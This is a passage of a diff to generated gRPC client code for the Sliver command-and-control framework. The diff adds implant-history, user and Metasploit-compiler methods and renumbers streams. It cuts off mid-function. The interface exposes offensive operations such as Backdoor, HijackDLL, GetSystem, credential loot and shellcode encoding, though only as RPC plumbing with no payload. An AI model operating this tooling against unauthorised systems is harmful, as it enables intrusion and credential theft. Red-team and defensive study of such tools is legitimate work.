rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq + 91, // 139: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq + 92, // 140: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq + 93, // 141: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq + 94, // 142: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq + 95, // 143: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq + 96, // 144: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq + 97, // 145: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq + 98, // 146: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq + 99, // 147: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq + 100, // 148: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq + 101, // 149: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq + 102, // 150: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq + 103, // 151: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq + 104, // 152: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq + 105, // 153: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq + 106, // 154: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq + 107, // 155: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession + 108, // 156: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession + 109, // 157: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq + 110, // 158: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq + 111, // 159: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq + 112, // 160: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq + 113, // 161: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq + 114, // 162: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq + 115, // 163: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq + 116, // 164: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq + 117, // 165: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq + 118, // 166: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq + 119, // 167: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq + 120, // 168: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq + 121, // 169: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq + 122, // 170: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq + 123, // 171: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks + 123, // 172: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks + 124, // 173: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData + 125, // 174: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel + 125, // 175: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel + 126, // 176: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData + 0, // 177: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty + 127, // 178: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version + 128, // 179: rpcpb.SliverRPC.GetUsers:output_type -> clientpb.Users + 0, // 180: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty + 0, // 181: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty + 129, // 182: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure + 0, // 183: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty + 0, // 184: rpcpb.SliverRPC.ImplantHistory:output_type -> commonpb.Empty + 130, // 185: rpcpb.SliverRPC.GetImplantHistory:output_type -> clientpb.History + 131, // 186: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions + 132, // 187: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response + 0, // 188: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty + 133, // 189: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders + 132, // 190: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response + 132, // 191: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response + 134, // 192: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob + 134, // 193: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob + 134, // 194: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob + 134, // 195: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob + 134, // 196: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob + 135, // 197: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons + 12, // 198: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon + 0, // 199: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty + 136, // 200: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks + 13, // 201: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask + 13, // 202: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask + 137, // 203: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs + 138, // 204: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob + 0, // 205: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty + 139, // 206: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener + 17, // 207: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot + 0, // 208: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty + 17, // 209: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot + 17, // 210: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot + 140, // 211: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot + 18, // 212: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials + 0, // 213: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty + 0, // 214: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty + 0, // 215: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty + 19, // 216: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential + 18, // 217: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials + 18, // 218: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials + 19, // 219: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential + 141, // 220: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts + 20, // 221: rpcpb.SliverRPC.Host:output_type -> clientpb.Host + 0, // 222: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty + 0, // 223: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty + 142, // 224: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate + 143, // 225: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig + 0, // 226: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty + 143, // 227: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig + 142, // 228: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate + 0, // 229: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty + 144, // 230: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs + 145, // 231: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config + 0, // 232: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty + 31, // 233: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event + 0, // 234: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty + 146, // 235: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders + 31, // 236: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event + 0, // 237: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty + 0, // 238: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty + 147, // 239: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations + 34, // 240: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask + 0, // 241: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty + 148, // 242: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles + 35, // 243: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile + 0, // 244: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty + 36, // 245: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk + 0, // 246: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty + 0, // 247: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty + 142, // 248: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate + 149, // 249: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds + 0, // 250: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty + 150, // 251: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries + 151, // 252: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig + 152, // 253: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP + 153, // 254: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles + 0, // 255: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty + 39, // 256: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile + 154, // 257: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager + 155, // 258: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI + 156, // 259: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler + 157, // 260: rpcpb.SliverRPC.GetMetasploitCompiler:output_type -> clientpb.MetasploitCompiler + 158, // 261: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode + 159, // 262: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap + 160, // 263: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap + 161, // 264: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests + 0, // 265: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty + 162, // 266: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites + 44, // 267: rpcpb.SliverRPC.Website:output_type -> clientpb.Website + 0, // 268: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty + 44, // 269: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website + 44, // 270: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website + 44, // 271: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website + 47, // 272: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping + 163, // 273: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps + 164, // 274: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate + 165, // 275: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig + 166, // 276: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat + 167, // 277: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls + 168, // 278: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd + 168, // 279: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd + 169, // 280: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv + 170, // 281: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp + 171, // 282: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm + 172, // 283: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir + 173, // 284: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download + 174, // 285: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload + 175, // 286: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep + 176, // 287: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod + 177, // 288: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown + 178, // 289: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes + 167, // 290: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls + 179, // 291: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd + 180, // 292: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm + 181, // 293: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump + 182, // 294: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs + 183, // 295: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate + 184, // 296: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf + 185, // 297: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem + 186, // 298: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task + 186, // 299: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task + 186, // 300: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task + 187, // 301: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly + 188, // 302: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate + 189, // 303: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute + 189, // 304: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute + 190, // 305: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload + 191, // 306: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll + 192, // 307: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot + 193, // 308: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner + 194, // 309: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener + 0, // 310: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty + 195, // 311: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners + 196, // 312: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph + 197, // 313: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo + 197, // 314: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo + 197, // 315: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo + 198, // 316: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken + 199, // 317: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo + 200, // 318: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv + 201, // 319: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv + 202, // 320: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor + 203, // 321: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead + 204, // 322: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite + 205, // 323: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey + 206, // 324: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey + 207, // 325: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList + 208, // 326: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList + 209, // 327: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand + 210, // 328: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack + 211, // 329: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs + 212, // 330: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener + 213, // 331: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners + 212, // 332: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener + 107, // 333: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession + 0, // 334: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty + 214, // 335: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension + 215, // 336: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension + 216, // 337: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions + 217, // 338: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension + 218, // 339: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions + 219, // 340: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension + 220, // 341: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward + 220, // 342: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward + 221, // 343: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks + 221, // 344: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks + 222, // 345: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders + 223, // 346: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers + 224, // 347: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell + 225, // 348: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd + 123, // 349: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks + 0, // 350: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty + 124, // 351: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData + 125, // 352: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel + 0, // 353: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty + 126, // 354: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData + 31, // 355: rpcpb.SliverRPC.Events:output_type -> clientpb.Event + 178, // [178:356] is the sub-list for method output_type + 0, // [0:178] is the sub-list for method input_type 0, // [0:0] is the sub-list for extension type_name 0, // [0:0] is the sub-list for extension extendee 0, // [0:0] is the sub-list for field type_name diff --git a/protobuf/rpcpb/services_grpc.pb.go b/protobuf/rpcpb/services_grpc.pb.go index 51d0c09b21..ae7c1b0fbf 100644 --- a/protobuf/rpcpb/services_grpc.pb.go +++ b/protobuf/rpcpb/services_grpc.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go-grpc. DO NOT EDIT. // versions: // - protoc-gen-go-grpc v1.3.0 -// - protoc v4.25.0 +// - protoc v3.15.8 // source: rpcpb/services.proto package rpcpb @@ -23,11 +23,13 @@ const _ = grpc.SupportPackageIsVersion7 const ( SliverRPC_GetVersion_FullMethodName = "/rpcpb.SliverRPC/GetVersion" + SliverRPC_GetUsers_FullMethodName = "/rpcpb.SliverRPC/GetUsers" SliverRPC_ClientLog_FullMethodName = "/rpcpb.SliverRPC/ClientLog" - SliverRPC_GetOperators_FullMethodName = "/rpcpb.SliverRPC/GetOperators" SliverRPC_Kill_FullMethodName = "/rpcpb.SliverRPC/Kill" SliverRPC_Reconfigure_FullMethodName = "/rpcpb.SliverRPC/Reconfigure" SliverRPC_Rename_FullMethodName = "/rpcpb.SliverRPC/Rename" + SliverRPC_ImplantHistory_FullMethodName = "/rpcpb.SliverRPC/ImplantHistory" + SliverRPC_GetImplantHistory_FullMethodName = "/rpcpb.SliverRPC/GetImplantHistory" SliverRPC_GetSessions_FullMethodName = "/rpcpb.SliverRPC/GetSessions" SliverRPC_MonitorStart_FullMethodName = "/rpcpb.SliverRPC/MonitorStart" SliverRPC_MonitorStop_FullMethodName = "/rpcpb.SliverRPC/MonitorStop" @@ -102,6 +104,7 @@ const ( SliverRPC_MsfStage_FullMethodName = "/rpcpb.SliverRPC/MsfStage" SliverRPC_ShellcodeRDI_FullMethodName = "/rpcpb.SliverRPC/ShellcodeRDI" SliverRPC_GetCompiler_FullMethodName = "/rpcpb.SliverRPC/GetCompiler" + SliverRPC_GetMetasploitCompiler_FullMethodName = "/rpcpb.SliverRPC/GetMetasploitCompiler" SliverRPC_ShellcodeEncoder_FullMethodName = "/rpcpb.SliverRPC/ShellcodeEncoder" SliverRPC_ShellcodeEncoderMap_FullMethodName = "/rpcpb.SliverRPC/ShellcodeEncoderMap" SliverRPC_TrafficEncoderMap_FullMethodName = "/rpcpb.SliverRPC/TrafficEncoderMap" @@ -203,16 +206,17 @@ const ( // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. type SliverRPCClient interface { - // *** Version *** + // *** Teamclient *** GetVersion(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Version, error) + GetUsers(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Users, error) // *** Client Logs *** ClientLog(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ClientLogClient, error) - // *** Operator Commands *** - GetOperators(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Operators, error) // *** Generic *** Kill(ctx context.Context, in *sliverpb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error) Reconfigure(ctx context.Context, in *sliverpb.ReconfigureReq, opts ...grpc.CallOption) (*sliverpb.Reconfigure, error) Rename(ctx context.Context, in *clientpb.RenameReq, opts ...grpc.CallOption) (*commonpb.Empty, error) + ImplantHistory(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ImplantHistoryClient, error) + GetImplantHistory(ctx context.Context, in *clientpb.HistoryRequest, opts ...grpc.CallOption) (*clientpb.History, error) // *** Sessions *** GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error) // ***Threat monitoring *** @@ -301,6 +305,7 @@ type SliverRPCClient interface { MsfStage(ctx context.Context, in *clientpb.MsfStagerReq, opts ...grpc.CallOption) (*clientpb.MsfStager, error) ShellcodeRDI(ctx context.Context, in *clientpb.ShellcodeRDIReq, opts ...grpc.CallOption) (*clientpb.ShellcodeRDI, error) GetCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Compiler, error) + GetMetasploitCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.MetasploitCompiler, error) ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error) ShellcodeEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ShellcodeEncoderMap, error) TrafficEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.TrafficEncoderMap, error) @@ -426,6 +431,15 @@ func (c *sliverRPCClient) GetVersion(ctx context.Context, in *commonpb.Empty, op return out, nil } +func (c *sliverRPCClient) GetUsers(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Users, error) { + out := new(clientpb.Users) + err := c.cc.Invoke(ctx, SliverRPC_GetUsers_FullMethodName, in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + func (c *sliverRPCClient) ClientLog(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ClientLogClient, error) { stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[0], SliverRPC_ClientLog_FullMethodName, opts...) if err != nil { @@ -460,15 +474,6 @@ func (x *sliverRPCClientLogClient) CloseAndRecv() (*commonpb.Empty, error) { return m, nil } -func (c *sliverRPCClient) GetOperators(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Operators, error) { - out := new(clientpb.Operators) - err := c.cc.Invoke(ctx, SliverRPC_GetOperators_FullMethodName, in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - func (c *sliverRPCClient) Kill(ctx context.Context, in *sliverpb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) err := c.cc.Invoke(ctx, SliverRPC_Kill_FullMethodName, in, out, opts...) @@ -496,6 +501,49 @@ func (c *sliverRPCClient) Rename(ctx context.Context, in *clientpb.RenameReq, op return out, nil } +func (c *sliverRPCClient) ImplantHistory(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ImplantHistoryClient, error) { + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[1], SliverRPC_ImplantHistory_FullMethodName, opts...) + if err != nil { + return nil, err + } + x := &sliverRPCImplantHistoryClient{stream} + return x, nil +} + +type SliverRPC_ImplantHistoryClient interface { + Send(*clientpb.ImplantCommand) error + CloseAndRecv() (*commonpb.Empty, error) + grpc.ClientStream +} + +type sliverRPCImplantHistoryClient struct { + grpc.ClientStream +} + +func (x *sliverRPCImplantHistoryClient) Send(m *clientpb.ImplantCommand) error { + return x.ClientStream.SendMsg(m) +} + +func (x *sliverRPCImplantHistoryClient) CloseAndRecv() (*commonpb.Empty, error) { + if err := x.ClientStream.CloseSend(); err != nil { + return nil, err + } + m := new(commonpb.Empty) + if err := x.ClientStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} + +func (c *sliverRPCClient) GetImplantHistory(ctx context.Context, in *clientpb.HistoryRequest, opts ...grpc.CallOption) (*clientpb.History, error) { + out := new(clientpb.History) + err := c.cc.Invoke(ctx, SliverRPC_GetImplantHistory_FullMethodName, in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + func (c *sliverRPCClient) GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error) { out := new(clientpb.Sessions) err := c.cc.Invoke(ctx, SliverRPC_GetSessions_FullMethodName, in, out, opts...) @@ -920,7 +968,7 @@ func (c *sliverRPCClient) SaveHTTPC2Profile(ctx context.Context, in *clientpb.HT } func (c *sliverRPCClient) BuilderRegister(ctx context.Context, in *clientpb.Builder, opts ...grpc.CallOption) (SliverRPC_BuilderRegisterClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[1], SliverRPC_BuilderRegister_FullMethodName, opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], SliverRPC_BuilderRegister_FullMethodName, opts...) if err != nil { return nil, err } @@ -970,7 +1018,7 @@ func (c *sliverRPCClient) Builders(ctx context.Context, in *commonpb.Empty, opts } func (c *sliverRPCClient) CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], SliverRPC_CrackstationRegister_FullMethodName, opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[3], SliverRPC_CrackstationRegister_FullMethodName, opts...) if err != nil { return nil, err } @@ -1208,6 +1256,15 @@ func (c *sliverRPCClient) GetCompiler(ctx context.Context, in *commonpb.Empty, o return out, nil } +func (c *sliverRPCClient) GetMetasploitCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.MetasploitCompiler, error) { + out := new(clientpb.MetasploitCompiler) + err := c.cc.Invoke(ctx, SliverRPC_GetMetasploitCompiler_FullMethodName, in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + func (c *sliverRPCClient) ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error) { out := new(clientpb.ShellcodeEncode) err := c.cc.Invoke(ctx, SliverRPC_ShellcodeEncoder_FullMethodName, in, out, opts...) @@ -2019,7 +2076,7 @@ func (c *sliverRPCClient) CloseSocks(ctx context.Context, in *sliverpb.Socks, op } func (c *sliverRPCClient) SocksProxy(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_SocksProxyClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[3], SliverRPC_SocksProxy_FullMethodName, opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[4], SliverRPC_SocksProxy_FullMethodName, opts...) if err != nil { return nil, err } @@ -2068,7 +2125,7 @@ func (c *sliverRPCClient) CloseTunnel(ctx context.Context, in *sliverpb.Tunnel, } func (c *sliverRPCClient) TunnelData(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_TunnelDataClient, error) { - 